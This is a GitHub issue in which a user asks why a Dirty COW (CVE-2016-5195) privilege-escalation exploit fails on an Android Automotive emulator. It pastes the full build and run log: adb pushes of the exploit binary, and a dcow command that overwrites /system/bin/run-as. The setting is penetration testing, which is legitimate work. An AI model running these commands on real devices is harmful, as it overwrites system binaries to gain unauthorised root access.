-
Notifications
You must be signed in to change notification settings - Fork 393
Open
Description
I am trying to execute this CVE on an Android Automotive Emulator and I have this error:
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_ABI=x86_64 APP_PLATFORM=android-29
make[1]: Entering directory `/home/venky/PenTestDocs/android_pe/CVE-2016-5195'
[x86_64] Compile : dirtycow <= dirtycow.c
[x86_64] Compile : dirtycow <= dcow.c
[x86_64] Executable : dirtycow
[x86_64] Install : dirtycow => libs/x86_64/dirtycow
[x86_64] Compile : run-as <= dirtycow.c
[x86_64] Compile : run-as <= run-as.c
[x86_64] Executable : run-as
[x86_64] Install : run-as => libs/x86_64/run-as
make[1]: Leaving directory `/home/venky/PenTestDocs/android_pe/CVE-2016-5195'
adb push libs/x86_64/dirtycow /data/local/tmp/dcow
libs/x86_64/dirtycow: 1 file pushed. 6.6 MB/s (14520 bytes in 0.002s)
adb shell 'chmod 777 /data/local/tmp/dcow'
adb shell 'chmod 777 /data/local/tmp/dcow'
adb push libs/x86_64/run-as /data/local/tmp/run-as
libs/x86_64/run-as: 1 file pushed. 3.7 MB/s (10424 bytes in 0.003s)
adb shell '/data/local/tmp/dcow /data/local/tmp/run-as /system/bin/run-as'
dcow /data/local/tmp/run-as /system/bin/run-as
warning: new file size (10424) and destination file size (15872) differ
[*] size 15872
[*] mmap 0x7033c8256000
[*] currently 0x7033c8256000=10102464c457f
[*] using /proc/self/mem method
[*] madvise = 0x7033c8256000 15872
[*] /proc/self/mem 0 16777216
[*] madvise = 0 8766674
[*] exploited 0 0x7033c8256000=10102464c457f
Makefile:24: recipe for target 'root' failed
make: *** [root] Error 255
Does anyone know what the issue is here?
I can see that the issue is already fixed at Linux kernel's newer versions.
Metadata
Metadata
Assignees
Labels
No labels